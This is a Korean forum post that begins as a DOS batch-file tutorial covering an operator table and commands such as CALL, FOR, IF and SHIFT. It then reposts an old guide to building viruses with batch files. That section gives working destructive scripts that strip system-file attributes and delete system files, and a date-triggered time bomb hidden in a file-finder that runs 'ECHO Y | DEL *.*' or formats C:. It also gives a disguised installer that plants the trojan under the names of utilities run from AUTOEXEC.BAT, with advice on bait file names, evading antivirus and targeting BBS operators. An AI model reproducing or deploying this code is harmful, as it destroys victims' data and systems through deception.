새창 작성 수정 목록 링크 Edit G카랜다 HDD HDD HDD 게시물 주소 복사


배치파일(BAT) 명령어

♨ 카랜더 일정 :
  • 링크

  • 첨부

  • 컨텐츠 정보

    본문

    \r\n
    \r\n

    배치파일(BAT) \r\n명령어

    \r\n

     

    \r\n
    \r\n

    배치 파일 \r\n연산자

    \r\n

    쉘 스크립트 \r\n동의어

    \r\n

    \r\n

    %

    \r\n

    $

    \r\n

    명령어줄 매개변수 접두사

    \r\n

    /

    \r\n

    -

    \r\n

    명령어 옵션 플래그

    \r\n

    \r\n

    /

    \r\n

    디렉토리 패스 구분자

    \r\n

    ==

    \r\n

    =

    \r\n

    (같음) 문자열 비교 테스트

    \r\n

    !==!

    \r\n

    !=

    \r\n

    (다름) 문자열 비교 테스트

    \r\n

    |

    \r\n

    |

    \r\n

    파이프

    \r\n

    @

    \r\n

    set +v

    \r\n

    현재 명령어를 에코하지 말 것

    \r\n

    *

    \r\n

    *

    \r\n

    파일명 "와일드 카드"

    \r\n

    >

    \r\n

    >

    \r\n

    파일 재지향(덮어 쓰기)

    \r\n

    >>

    \r\n

    >>

    \r\n

    파일 재지향(덧붙여 쓰기)

    \r\n

    <

    \r\n

    <

    \r\n

    표준입력 재지향

    \r\n

    %VAR%

    \r\n

    $VAR

    \r\n

    환경 변수

    \r\n

    REM

    \r\n

    #

    \r\n

    주석

    \r\n

    NOT

    \r\n

    !

    \r\n

    뒤에 나오는 테스트 부정

    \r\n

    NUL

    \r\n

    /dev/null

    \r\n

    명령어 출력을 없애기 위한 "블랙홀"

    \r\n

    ECHO

    \r\n

    echo

    \r\n

    에코 (Bash 에는 옵션이 많이 있음)

    \r\n

    ECHO.

    \r\n

    echo

    \r\n

    빈 줄 에코

    \r\n

    ECHO \r\nOFF

    \r\n

    set +v

    \r\n

    다음에 나오는 명령어를 에코하지 말 것

    \r\n

    FOR %%VAR IN (LIST) \r\nDO

    \r\n

    for var in [list]; do

    \r\n

    "for" 루프

    \r\n

    :LABEL

    \r\n

    없음 (필요치 않음)

    \r\n

    라벨

    \r\n

    GOTO

    \r\n

    없음 (대신 함수를 씀)

    \r\n

    스크립트의 다른 곳으로 건너 뜀

    \r\n

    PAUSE

    \r\n

    sleep

    \r\n

    일정 간격을 두고 잠시 대기

    \r\n

    CHOICE

    \r\n

    case 나 select

    \r\n

    메뉴 선택

    \r\n

    IF

    \r\n

    if

    \r\n

    if-test

    \r\n

    IF EXIST FILENAME

    \r\n

    if [ -e filename ]

    \r\n

    파일이 존재하는지 확인

    \r\n

    IF \r\n!%N==!

    \r\n

    if [ -z "$N" ]

    \r\n

    변경가능한 매개변수인 "N"이 \r\n없다면

    \r\n

    CALL

    \r\n

    source 나 . (도트 연산자)

    \r\n

    다른 스크립트를 "포함"

    \r\n

    COMMAND \r\n/C

    \r\n

    source 나 . (도트 연산자)

    \r\n

    다른 스크립트를 "포함"(CALL과 동일)

    \r\n

    SET

    \r\n

    export

    \r\n

    환경 변수를 세트

    \r\n

    SHIFT

    \r\n

    shift

    \r\n

    명령어줄 변수 목록을 왼쪽으로 이동(shift)

    \r\n

    SGN

    \r\n

    -lt or -gt

    \r\n

    (정수) 부호(sign)

    \r\n

    ERRORLEVEL

    \r\n

    $?

    \r\n

    종료 상태

    \r\n

    CON

    \r\n

    stdin

    \r\n

    "콘솔"(표준입력)

    \r\n

    PRN

    \r\n

    /dev/lp0

    \r\n

    (일반적인) 프린터 디바이스

    \r\n

    LP1

    \r\n

    /dev/lp0

    \r\n

    첫번째 프린터 디바이스

    \r\n

    COM1

    \r\n

    /dev/ttyS0

    \r\n

    첫번째 시리얼 포트

    \r\n

     

    \r\n

     

    2. 배치 파일 \r\n만들기
    \r\n



    출처 : http://my.dreamwiz.com/bicter/tech/pwr_02.htm \r\n
     

    \r\n

    도스에는 명령어를 일괄적으로 처리하기위한 \r\n배치파일이라는 것이 있습니다.
    대부분의 사람들은 배치파일이 도스환경을 쉽게 만든다는 사실을 과소평가하는데, 컴퓨터를 좀더 쉽게 사용하고 \r\n싶다면 배치파일을 꼭 짚고 넘어가는것이 좋습니다.


    배치파일이란 ?

    \r\n

    컴퓨터의 동작 상태를 살펴 보면 항상 사용자와의 상호작용에 의하여 \r\n작업이이루어진다는것을 알 수 있습니다.  도스라는 운영체제도 사용자가 명령을 입력하면 그 명령에 대해 도스가 분석하여 사용자가 원하는 실행 \r\n결과를 제공합니다.
    따라서 사용자는 항상 도스 프롬프트 상에서 일일이 키보드를 이용한 타이핑으로 명령을 내려야 하고, 하나의 명령이 \r\n내려지면 완료될 때까지 다음 명령을 내릴수가 없습니다. 작업 과정이 얼마되지 않는다면 큰 상관이 없으나 그 과정이 매우 길고 복잡하다면 사용자는 \r\n지루함을 느끼게 됩니다. 또한 비록 짧은 작업과정이라도 컴퓨터를 켤때마다 매번 똑같은 과정을 일일이 지시하는 것도 귀찮을 것입니다.
    이러한 \r\n경우 배치 파일은 가장 확실한 해결책입니다.

    배치파일의 기능은 순차적이고 반복된 동일한 \r\n작업 과정을 몇개의 혹은 수십, 수백 개의 연관된 명령어를 하나의 파일로 집약하여 그 하나의 파일(배치파일)만 실행함으로써 원하는 작업 과정을 \r\n수행하는것입니다.배치파일에 붙는 확장자는 .bat(batch 의 약어) 입니다.도스에서 실행이 가능하기 때문에 .com, .exe 확장자가 붙는 \r\n외부 명령어와 함께 실행 가능한 파일로 분류됩니다.차이가 있다면 .com, .exe 명령어는 컴퓨터만 해석 가능한 기계어 코드로 구성되어 \r\n있는반면, 배치 파일은 사람이 알아볼수 있는 일반 텍스트로 이루어져있다는 것입니다.

    그래서 사용자들은 문서작성에 이용하는 워드프로세서나 텍스트에디터 등을 이용해 배치 파일을 작성할 \r\n수 있습니다. 그러나 워드프로세서는 덩치가 크고 원래 목적이 편집과 출력을 위해 만들어진 것이므로 단순한 배치 파일을 작성하는 데는 권하고 싶지 \r\n않습니다.

    저장할때도 워드프로세서 고유의 포맷(예" .hwp 확장자를 가지는 아래아한글 \r\n데이터 파일)으로 저장하면 인식이 되지 않으므로 아스키 파일로 저장해야 합니다.가장 편리한 방법은 일반 문서 에디터( 도스의 Edit, \r\nQ에디터,U에디터 등)를 이용하거나 도스의 'Copy Con' 명령으로 배치 파일을 만드는 것입니다.다음과 같이 'Copy con 파일명' \r\n형식으로 입력하고 엔터를 누르면 도스 프롬프트 상태에서 편집할 수 있는 상태가 됩니다.

    C:Bats> copy con \r\nTimedate.bat
    cls
    time
    date
    ^Z

       1 File(s) \r\ncopied
    \r\n

    여기서 쓰고 싶은 대로 적기만 하면 됩니다.제일 마지막행의 ^Z 는 파일의 제일 \r\n마지막 부분이라는 것을 도스에게 알려주는 코드로 <  Ctrl + Z > 키 또는 F6 키를 누르면 됩니다. 그리고 엔터키를 한번더 \r\n누르면 '1 File(s) copied' 라는 메세지가 출력되는데, 이는 방금 ' copy con 파일명 ' 으로 작성된 문서파일이 성공적으로 \r\n만들어졌다는 뜻입니다.위의 문서파일은 확장자가 .BAT 로 붙었기 때문에 실행가능한 외부 명령어가 되는데, 배치파일은 명령이 기록되어 있는 \r\n순서대로 실행되기 때문에 timedate.bat 를 실행시키면 먼저 화면을 지우고 난뒤 시스템의 시간과 날짜를 설정합니다.간단한 배치파일은 \r\n'copy con 파일명' 으로 작성하는 것이 다른 프로그램의 도움없이 쉽고 빠르게 처리할 수 있습니다. 하지만 배치파일이 조금 길거나 작성중에 \r\n수시로 편집할 일이 생기는 경우에는 불가능합니다. 'copy con 파일명' 으로 파일을 작성하면 행으로 다시돌아갈 수 없을 뿐 아니라 수정이 \r\n불가능하기 때문입니다. 그러므로 배치파일을 만들 필요가 있을때는 문서 에디터를 이용하는 것이 좋습니다.

    ▶   배치파일 작성 명령어 9인방

    배치 파일은 파일 \r\n안에 기록되어 있는 명령의 순서대로 실행됩니다.가장 대표적인 것이 부팅에 이용되며, 컴퓨터의 루트 디렉토리에 위치하고 있는 \r\nAutoexec.bat 파일입니다. 그런데 만약 배치 파일의 실행의 순서를 순차적이 아닌멀티부팅용 Autoexec.bat 처럼 사용자 마음대로 \r\n정하고 싶다면 배치파일에 제공되는배치명령어의 용도를 알고 있어야 합니다.


    1. CALL


    현재 실행중인 배치 파일을 종료하지 않고 필요한 다른 배치파일을 호출하여 실행한 다음 \r\n원래의 배치파일로  다시 돌아오려고 할 때 사용됩니다.

    ◇ 사용법 : Call \r\n[drive:][경로]<배치파일명>[.BAT]

    ◇ 예  :  Call \r\nc:batssample.bat

    어떤 배치 파일을 실행하는 도중에 경로 C:bats 에 있는  sample.bat 파일을 \r\n실행한 다음 다시 원래의 배치파일로 돌아옵니다.


    2. \r\nCHOICE

    배치 프로그램 내에서 사용자의 선택을 묻기 위해 사용됩니다. 배치 파일 제작자가 설정한 물음을 \r\n출력하면서 지정된 키 입력을 기다립니다. 이 명령은 배치파일 내에서만 사용 가능합니다.

    ◇ \r\n사용법 :choice \r\n[/C[:]문자열][/N][/S][/T[:]기본키,대기시간][메세지]

    ◇ \r\n옵션

    - /C[:]문자열  : 사용자가 선택할 수 있는 키목록을 [] \r\n괄호 내에 ', ' 로 구분하여 출력하고  /C 스위치를 사용하지 않으면 기본적으로  YN이 사용됩니다.

    - /N : 프롬프트를 출력하지 않도록 합니다.

    - \r\n/S : 사용자의 입력에서 소문자, 대문자를 구분하도록 합니다.

    - /T[:]기본키, \r\n대기시간 : 기본키를 지정한 후 대기시간 동안 사용자의 키 입력이 없으면  자동적으로 기본키가 입력된 것으로 간주하고 진행됩니다. \r\n지정 가능한 대기시간은 초단위이며 0에서 99 사이의 값입니다.

    - 메세지 : 화면에 \r\n출력될 메세지를 지정합니다.

    ◇ 예 : choice \r\n/c:abCD /s /t : C, 5 다음중에서 하나를 선택하십시오 a, b, C, D
    ◇ \r\n설명 : 입력 가능한 키를 a,b,C,D로 한정하며 사용자로부터 입력되는 영문자의 대,소문자를 구분하는데, 만약 5초 내에 \r\n사용자로부터 키 입력이 없다면 C 가 입력된 것으로 간주합니다. 그리고 화면에는
    '다음중에서 하나를 \r\n선택하십시오 a, b, C, D[a,b,C,D]? ' 
    라는 메세지가 출력됩니다.


    3. ECHO

    배치파일 실행중에 명령어를 화면에 표시할 것인지의 여부를 설정하며, 그 \r\n상태를 표시합니다. 한편 ECHO 명령 뒤에 오는 메세지는 화면에 나타납니다.

    ◇ 사용법 \r\n: echo [on/off] [문자열]

    ◇ 옵션
    - on : 배치 파일 실행중에 그 배치 파일 내의 \r\n명령어를 화면에 표시합니다. 
    - off : 배치 파일 실행중에 명령어를 화면에 출력하지 \r\n않도록 합니다.
    - 문자열 : 화면에 출력하고 싶은 메세지를 적어줍니다.
    - 없음 : 현재 ECHO 설정 상태를 표시합니다.

    ◇ \r\n예  :

    echo off    
    ☞ 현재 실행중인 배치 파일 내의 \r\n명령어를 화면에  나타나지 않도록 함.
    echo
    echo 안녕하세요?~
    ☞ 현재 \r\necho 설정상태를 표시하며  안녕하세요?~ 라는 문구를 화면에 출력합니다.  


    4. FOR

    지정된 집합 중의 각각의 요소에 대하여 명령으로 설정한 처리를 반복 \r\n실행합니다.

    ◇ 사용법

    For %%<변수> IN \r\n(<집합>) DO <명령> [<옵션>]    ☞ \r\n배치파일용. 
    For %<변수> IN (<집합>) DO <명령> <옵션>]  \r\n       ☞ 순차처리용.


    ◇ 옵션

    - %%<변수>, &<변수>  : 변수로 사용되는 것은 임의의 영문자로 1자만 \r\n허용됩니다.  주의할 점은 배치파일에서 사용할 경우는 반드시 %%처럼 두개를 연달아 사용해야 하며, 일반 도스 프롬프트에서 사용할 때는 % \r\n하나만 사용합니다.

    - <집합> : %%<변수>에 대입하고 싶은 \r\n값을, 또는 스페이스로 구분하여 대입하고 싶은 순서대로 나열합니다.

    - \r\n<명령> : %%<변수>에 대입되어 있는 값에대해 반복적으로 실행하고 싶은 명령을 \r\n지정합니다.

    - <옵션> : 지정한 명령의 옵션이나 FOR 명령에서 지정한 \r\n옵션을 설정합니다.

    ◇ 예

    for  %%f \r\n in  (bak tmp $$$) do del *.%%f /p       ☞ 배치파일의 경우
    for %d  in  (read,wh,file) do hlist %d*.*               ☞ 도스 \r\n프롬프트에서 실행시

    ◇ 설명 : 첫 번째는 bak, tmp, $$$ 를 순서대로 %%f \r\n환경 변수에 대입하여 차례대로
     DEL *.bak /p, DEL *.tmp /p, DEL *.$$$ .p 를 실행한 것과 동일한 결과를 \r\n얻게됨.

    두번째는 READ,WH,FILE 를 순서대로 %d 환경변수에 대입하여 차례대로
     HLIST READ*.*, HLIS \r\nTWH *.* , HLIST FILE *.* 를 실행한 것과 동일한 결과를 얻게 됩니다.


    5. GOTO

    배치 처리의 흐름을 <레이블>에서 정의되어 있는 위치로 \r\n옮깁니다.

    ◇ 사용법 :Goto \r\n<레이블>

    ◇ 예 :
    goto loop
    :loop
    각종 처리할 내용


    ◇ 설명  : 레이블 loop 로 배치 처리의 제어권을 이동시켜 loop 항목에 지정된 각종 처리할 내용을 \r\n실행시킵니다.

    ◇ 참고  : 배치 파일에 레이블 \r\n표시는 레이블명 앞에 콜론(:) 을 붙여주며 줄을
                  바꿔 맨 앞에 지정해 주어야 \r\n합니다.



    6. IF

    지정한 조건의 판단 \r\n결과에 따라서 배치 처리를 진행합니다.

    ◇ 사용법 :  If [NOT] <조건> <명령>

    ◇ 옵션

    - NOT : 지정한 조건의 반대 조건일 \r\n때만 실행합니다.

    - 조건

    - \r\nERRORLEVEL <수치> : 바로 전에 실행한 명령(프로그램)의 종료 코드가 <수치> 이상일 때에는 참이 \r\n되고 <명령> 이 실행됨.

    - <문자열1> == \r\n<문자열2> : <문자열1> 과 <문자열2> 가 같을 때에만 참이되고 <명령>이 \r\n실행됩니다. 주의할 점은 문자열의 대,소문자가 구별되며, 문자열중에 구분기호(콤마,스페이스,세미콜론,등호,탭)가 포함되어 있으면 \r\n않됩니다.

    - EXIST <파일명> : <파일명>으로 지정한 \r\n파일(경로포함)이 존재할 때에만 참이 되고    <명령>이 실행됩니다. <파일명>에는 와일드카드 문자의 사용이 \r\n가능합니다.

    ◇ 예 :
    if errorlevel \r\n2 goto quit
    if not %1 ==%2 goto process
    if exist d:worktemp.$$$ del \r\nd:worktemp.$$$


    ◇ 설명 :
    직전에 실행한 명령의 종료 \r\n코드가 2 이상일 경우 레이블  QUIT로 이동합니다.

    환경변수 %1과 환경변수 %2에 대입되어 있는 문자열이 같지 않을 경우에만 \r\n레이블 PROCESS 로 이동합니다.

    경로 D:Work 에 temp.$$$ 라는 파일이 존재하면 그 파일을 \r\n삭제합니다.


    7. PAUSE

    배치 파일 실행을 일시 \r\n정지합니다.

    ◇ 사용법 :Pause \r\n[문자열]

    ◇ 옵션

    - \r\n문자열 : 문자열을 생략하면 'press any key to continue...'라는 메세지가 화면에  출력됩니다. 만약 \r\nPAUSE 명령 뒤에 어떤 메세지를 지정하여 그 메시지를  출력하고 싶다면 'Echo on' 명령을 우선 내려야 합니다.

    ◇ 예 :   
     echo on
     pause  준비가 되었으면 \r\n아무키나 누르세요...


    ◇ 설명 :  배치 처리 중 pause명령을 만났을때 \r\n임의의 다른 메시지를 화면에 출력하고 싶다면 예 에서와 같이 반드시 echo on 명령이 선행되어야 하며 예의 경우에는  ' 준비가 되었으면 \r\n아무키나 누르세요...' 라는 메세지가 출력됩니다.

    ◇ 참고 :  위 처럼 하면 화면에 Pause 라는 명령어까지 같이 출력되므로 이런경우
    echo on 
    echo  준비가 되었으면 아무키나 누르세요...
    pause > \r\nNull


    이런식으로 사용하면 출력하고자 하는 메세지만 화면에 \r\n출력됩니다.


    8. REM

    배치 파일 \r\n내에 주석문을 부여하고 싶을 때 사용합니다.

    ◇ 사용법 :rem [문자열]

    ◇ 옵션 \r\n   

    - 문자열 : 주석문으로 쓰고 싶은 것을 적어줍니다.

    ◇ 예 : REM 이 배치파일은 \r\n샘플입니다.

    배치파일내의 적당한 위치에 적절한 주석문을 붙여두면 배치 처리의 흐름을 일목요연하게 볼 수 \r\n있습니다.


    9. SHIFT

    배치 파일에 주어진 \r\n파라미터(%1~%9)와 실행시에 지정되는 값과의 대응을 하나씩 뒤로 이동하여 표시합니다.

    ◇ \r\n예

    :loop
    if "%1" == " " goto \r\nend
    echo %0 %1 %2 %3 %4 %5 %6 %7 %8 %9
    shift
    goto \r\nloop
    :end    


    위와 같이 배치 파일을 작성해두고 다음과 같이 배치파일을  실행해 보면 shift 명령이 \r\n어떤 역할을 하는지 금방 알 수 있습니다..
    C:bats> test.bat A B C D E F G \r\nH I J 0 1 2 3 4 5  똑같이 입력하고 실행후 \r\n확인. 

    \r\n

     

    \r\n

     

      
    3. 배치 파일 만들기 \r\n예제
     
    \r\n

    이 \r\n문서는 제가 옛날에 배치파일 공부할 때 하이텔 어디선가 다운받은 파일인데 누가 작성한 것인지 지금은 오래되어 기억이 나질 \r\n않습니다.
    \r\n

    편집없이 \r\n그대로 옮깁니다. \r\n

    배치파일로 바이러스 제작하기 \r\n


    아주 무식하고 단순한 트로이목마를 만들어보자.
    지금 만드는것은 아주 초보적인 수준으로 발견즉시  탐지당할수 있으나
    발견즉시 피해를 입히며 자폭할것이니 사용하기는 좋다.
    \r\n\r\n

    목적 : 침투즉시 시스템 영역 파괴로 부팅불능 \r\n

    @ECHO OFF

    ATTRIB C:*.* -H -R -S  > NUL   <= 이줄은 시스템파일의 숨김,읽기전용,
                       시스템등의 속성을 해제시켜 지우거나 변형이 가능케한다.
                        "> NUL"  은 변형결과가 화면에  안뜨게 \r\n하는것이다.
    DEL *.SYS < NUL  <= 모든 시스템 파일을 지워버린다.
    \r\n

    DEL XXX.YYY  < NUL <=  본인 스스로 해당  파일명 삭제명령, 역시  보이지않게!!
    CTTY NUL   <= 이것까지 추가하면 시스템이 정지한다.
                       그래서 부팅해보면 시스템 영역이 파괴되어 작동안한다.
    ^Z
    \r\n\r\n

    여기에 화면에 어떤 메시지를 띄울수도 있을것이다. \r\n

    ECHO       " 이 컴퓨터는 부팅영역을 나에게 빼앗겼다!! " \r\n

    아주 간단하면서 효과는 확실하다.
    현재 이건 극히 초보적인  것이나 약간만 응용하여 다른 파일을 지우거나 파일명을 \r\n바꾸어놓는 조작을 할 수 있다. \r\n다만 상대 사용자가 바로 발견할수 있다는것이 단점일것이다.
    그래서 이것을 등록하거나 제공하기 앞서 엄청난 것이라는 광고나 어떤 미끼를 \r\n던진다면 확실히 물릴것이다.
    \r\n

    아래는 간단한 파일 찾기 프로그램이다.
    여기에 인공지능(?) 타이머를 추가해서 강력한 시한폭탄이 되게 만들 \r\n것이니 일단은 자세히 보고 원리를 이해하기 바란다.
    이것들은 지금당장이라도 이름만 바꾸어서 컴파일시켜 자료실에 등록도 할 수 \r\n있는 것이다.
    그러니 각별히 사용에 주의를 요한다.
    \r\n

    다음 예제를 살펴보자. \r\n

    예) 월 표시 프로그램 \r\n

    @ECHO OFF
    GETMONTH.COM    <= 월체크 유틸리티
    IF ERRORLEVEL 12 IF NOT ERRORLEVEL 13 ECHO 12
    IF ERRORLEVEL 11 IF NOT ERRORLEVEL 12 ECHO 11
    IF ERRORLEVEL 10 IF NOT ERRORLEVEL 11 ECHO 10
    IF ERRORLEVEL  9 IF NOT ERRORLEVEL 10 ECHO  9
    IF ERRORLEVEL  8 IF NOT ERRORLEVEL  9 ECHO  8
    IF ERRORLEVEL  7 IF NOT ERRORLEVEL  8 ECHO  7
    IF ERRORLEVEL  6 IF NOT ERRORLEVEL  7 ECHO  6
    IF ERRORLEVEL  5 IF NOT ERRORLEVEL  6 ECHO  5
    IF ERRORLEVEL  4 IF NOT ERRORLEVEL  5 ECHO  4
    IF ERRORLEVEL  3 IF NOT ERRORLEVEL  4 ECHO  3
    IF ERRORLEVEL  2 IF NOT ERRORLEVEL  3 ECHO  2
    IF ERRORLEVEL  1 IF NOT ERRORLEVEL  2 ECHO  1
    ^Z
    \r\n\r\n

    배치파일의 장점이자 단점이기도 한것이 있다.스스로 완벽하게 작동하지 못한다는 것이다. \r\n때문에 배치를 도와줄 유틸리티가 필요하게 되었다. \r\n사실 C,PASCAL  로 바이러스를 만들어도 어셈블리어로  제작된 유틸리티가 필요한거 보면 대동소이 하지만.........
    도스의 DEBUG 란 것으로 제작하는 아주 간단한 유틸리티인데 이미 상당수 공개되었기에 \r\n우린 단지 그것을 찾아서 이용만 하면 된다.
    위 프로그램의 맨 첫째줄에 쓰인것이 바로 이것이다.
    배치를 컴파일하신후 항상 이 두가지를 같이 사용하셔야 한다.
    외부의 GETMONTH.COM 을 파일명을 바꾸셔서 써도 되지만 이때는 반드시 \r\n배치에서도 바꾸어주셔야 한다.
    \r\n

    자, 이것을 실행하면 현재 시스템의 월을 표시해준다.
    이것이 우리가 제작하게될 시한폭탄형 바이러스의 헤더부분, \r\n즉. 시스템상태감식 프로그램이다.
    폭탄으로 말하면 뇌관정도로 비유될까?
    \r\n

    이것을 활용해서 "트로이&시한폭탄 1호형" 바이러스를 만들어보자.
    아래는 일반적으로 활용할 수 있는 파일찾기 프로그램이다.
    \r\n\r\n

    @echo off
    if "%1"=="/?" goto help
    cd
    dir %1 /s/p/w/l/o:n
    goto end
    :help
    echo
    echo Usage : filefind [filename]
    echo
    :end
    \r\n\r\n

    이제 위의 둘을 합친 모습을 보자! \r\n

    @ECHO OFF

    GETMONTH.COM     <= 시스템 "월" 체크 유틸리티  . 파일명 변경해도 됨-체크할것
    IF ERRORLEVEL 12 IF NOT ERRORLEVEL 13 GOTO FF
    IF ERRORLEVEL 11 IF NOT ERRORLEVEL 12 GOTO FF
    IF ERRORLEVEL 10 IF NOT ERRORLEVEL 11 GOTO FF
    IF ERRORLEVEL  9 IF NOT ERRORLEVEL 10 GOTO FF
    IF ERRORLEVEL  8 IF NOT ERRORLEVEL  9 GOTO FF
    IF ERRORLEVEL  7 IF NOT ERRORLEVEL  8 GOTO FF
    IF ERRORLEVEL  6 IF NOT ERRORLEVEL  7 GOTO FF
    IF ERRORLEVEL  5 IF NOT ERRORLEVEL  6 GOTO FF
    IF ERRORLEVEL  4 IF NOT ERRORLEVEL  5 GOTO FF
    IF ERRORLEVEL  3 IF NOT ERRORLEVEL  4 GOTO VIRUS
    IF ERRORLEVEL  2 IF NOT ERRORLEVEL  3 GOTO FF
    IF ERRORLEVEL  1 IF NOT ERRORLEVEL  2 GOTO FF
    REM  아래부분은 바이러스 코드이다.
    :VIRUS
    echo   VIRUS !!  BOMB!!
    ECHO Y | DEL *.* > nul              <= 중요한 명령
    REM  아래 부분은 파일찾기 프로그램 코드이다.
    :FF
    if "%1"=="/?" goto help
    if "%1"=="" goto copyright
    cd
    dir %1 /s/p/w/l/o:n
    goto end
    echo
    echo Usage : filefind [filename]
    echo
    :end
    \r\n\r\n


    자 이제 자세히 설명해보자.
    임의로 체크를 3월달로 맞추어 놓았다.
    자기 마음대로 1,2,3,4,5....... 고쳐 놓을수 있다.
    GETMONTH 말고 시간,일자 등으로 얼마든지 변경이 가능하다.
    처음에 이 프로그램을 실행하면 시스템의 월(조건변경가능!)을 체크하여 조건에따라 \r\n정상적인 파일찾기 기능이 수행되나 임의로 지정한 3월이  되면 GOTO 분기에 의해 \r\n바이러스 코드 부분을 실행한다.
    이 바이러스 코드부분에는  여지껏 배운내용을 응용하여 얼마든지 집어넣을수 있다.
    이줄    ECHO Y | DEL *.*  은 \r\n모든 파일을 삭제하라거나, 포맷을 행할때는 반드시 물어보는 YES/NO  를 임의로 YES로 \r\n지정하기 위해 들어간 줄이다.
    이렇게 명령을 주면 프로그램은 자동적으로 사용자에게 질문 않고 직접 실행시켜 버리니 \r\n소잃고 외양간도 못고치는 격이다.
    \r\n

    다른 예로,  ECHO Y | FORMAT C:  라고 할수도 있다.
    ECHO 다음에 N 으로 하면 절대 포맷이 안된다.
    그리고 | 는 엔터를 친것처럼 한다는 파이프라고 위에서 설명했다.
    자신의 응용가능 여하에따라 얼마든지 변경이 가능하다.
    단, 되도록이면 이렇게 한번에 하는것보다는  확장자만 골라서 집중적으로 파괴하는 \r\n것이 \r\n더 효과적이다.
    왜냐면, 이런  방식으로 하다간  가끔 시스템이 다운되거나  무한루프에 빠질수도있으니깐.....
    \r\n

    만약 자신이 어떤 프로그램이나  게임등에 이런 바이러스 코드를 첨가시켜  전파시키는 방법도 있다. \r\n\r\n

    방법은, 유명게임이나 유명  유틸리티 등에 자신이 직접  인스톨 프로그램을 작성하여 \r\n첨가시키는 것이다. \r\n

    예) 간단한  인스톨 프로그램   ( 프로그램은  C:PRPROG.ARJ 로 되어있다고  치자.) \r\n\r\n

    1) 첫번째 필요한 소스 \r\n

    INSTALL.BAT    <= 컴파일시켜 실행파일로 만들면 된다. \r\n

    @ECHO OFF

    ARJ   X  PROG.ARJ   <= COPY 나 다른것으로 바꿔도 된다.
    REM     아래 부분부터 숨겨서 침투시키는 내용
    ATTRIB  +R +H M.COM    <= 이러면 숨긴다.
    COPY M.COM C:.   <= 루트디렉토리에 숨긴다.
    ^Z
    \r\n\r\n


    일단은 디렉토리에 풀릴것이다.
    \r\n


    아래것은 저번 시간에 공부한 조건형태의 한 형태이다.
    이것을 다른 정상유틸형태로 위장한 변형말고 아무런 반응이 없다가 지정한 조건시에 \r\n작동하도록 해보자.
    \r\n

    2) 두번째 필요한 소스 \r\n

    M.BAT  나 NCD.BAT  <= 컴파일시켜 M.COM or NCD.COM 으로한다. \r\n\r\n

    @ECHO OFF

    GETMONTH.COM    <= 시스템 "월" 체크 유틸리티 .  대체 가능
    IF ERRORLEVEL 12 IF NOT ERRORLEVEL  13 GOTO M  이나 NCD 로 위장한다.
    IF ERRORLEVEL 11 IF NOT ERRORLEVEL 12 GOTO M
    IF ERRORLEVEL 10 IF NOT ERRORLEVEL 11 GOTO M
    IF ERRORLEVEL  9 IF NOT ERRORLEVEL 10 GOTO M
    IF ERRORLEVEL  8 IF NOT ERRORLEVEL  9 GOTO M
    IF ERRORLEVEL  7 IF NOT ERRORLEVEL  8 GOTO M
    IF ERRORLEVEL  6 IF NOT ERRORLEVEL  7 GOTO M
    IF ERRORLEVEL  5 IF NOT ERRORLEVEL  6 GOTO M
    IF ERRORLEVEL  4 IF NOT ERRORLEVEL  5 GOTO M
    IF ERRORLEVEL  3 IF NOT ERRORLEVEL  4 GOTO VIRUS
    IF ERRORLEVEL  2 IF NOT ERRORLEVEL  3 GOTO M
    IF ERRORLEVEL  1 IF NOT ERRORLEVEL  2 GOTO M
    :VIRUS
    REN  C:PRXXX.DAT XXX.COM  <= 예전에 인스톨해놓았던 C:PR 디렉토리에
                                                           숨겨진파일을 다시 꺼내서 실행하게끔 한다.
    DEL XXX.COM   <= 자체파괴
    DEL M.COM    <= 자체파괴  / 파일명 변경가능하다.
    :M
    M.EXE     나    NCD.EXE
    :END
    \r\n\r\n

    왜 NCD.COM 이나 M.COM 으로 하냐면,전에 항상 실행파일은  COM  -> EXE -> BAT 순서라고 했죠?
    NCD.EXE / M.EXE 는 AUTOEXEC.BAT 에 항상 따라온다.
    이거 안쓰는 사람있음 나와보라구해~~
    AUTOEXEC.BAT 는 매일 자동실행되는법~~
    그래서, 이렇게 COM 으로 만들어 숨겨두면 찾지도 못할뿐더러 파일명이 같으니 \r\n대개 그냥 넘어가버린다.
    실행해봤자 3월이 되기전이라면 바로 M.EXE 로 넘겨 버리니까 절대 안걸릴것이다.
    \r\n


    3) 세번째 소스
    \r\n

    세번째에서는 여지껏 배운 방법을 동원하여 각자 입맛에 맞게 짜기바란다. \r\n

    이방법이 약간 복잡할수있다.
    만약, 상대가 전달받은 프로그램을 곧 지워버릴수 있을것이다.
    그러면, 해당디렉토리의 XXX.DAT 같이 위장해놓은 파일을 아에 첨부터 \r\n루트에 카피해놓으셔도 무방하다. 전달받은 프로그램을 지워도 이것들은 살아남아 끝까지 박살낼테니깐.......
    \r\n

    *좀더 단순화 시켜서 XXX.DAT 를 아에 M.COM 내부에 설치할수도 있다. \r\n\r\n


    배치파일 제작 바이러스 후기
    \r\n

    이렇게 배치파일로 제작된 트로이목마  & 시한폭탄 형 바이러스는 절대로 V3 나 \r\nTB 혹은 트로이목마 검색 프로그램으로 안걸린다는걸 보장한다!!
    대부분의 백신들은 어셈블리로 제작되어 어셈블리 루틴값을 체크하거나 쓰기할 \r\n때 잡지만 배치로는 그렇게 고난도 기술을 요하지 않고도 교묘히 빠져나가며 수행하기 때문이다. \r\n즉, 약이 없다.
    일일이 에디트로 뜯어보기전에는 모를 것이다. \r\n하지만 전파력이 약하다는것이 단점이라고 하겠다.
    그러나 원래 트로이목마 바이러스 라는게 불특정 다수의 전파보다는 특정한 하나의 대상을 파괴하는데 목적이 있기때문에 전혀 문제될것은 아니다.
    \r\n\r\n

    간단한 형태로 SEX.COM  이런식으로 만들어서 즉각 반응형으로 해도 효과는 좋을것이다.
    파일명 저런데 실행안해볼 사람은 없기 때문이다. \r\n판도라의 상자일 것이다.
    \r\n

    사설 비비에스 해킹이야 위의 자료를 등록한후 시삽이 실행하기만 기다리면 되는것이다. \r\n\r\n

    위에 열거한 각종  테크닉을 이용한다면 강력한 트로이목마형 

    [ 추가 정보 ... 더보기) ]
    뷰PDF 1,2



    office view text|top||||||||||||||||||

    관련자료

    댓글목록

    profile_image

    11q.kr관리자님의 댓글

    11q.kr관리자 쪽지보내기 메일보내기 자기소개 아이디로 검색 전체게시물 아이피 (192.♡.0.1) 작성일

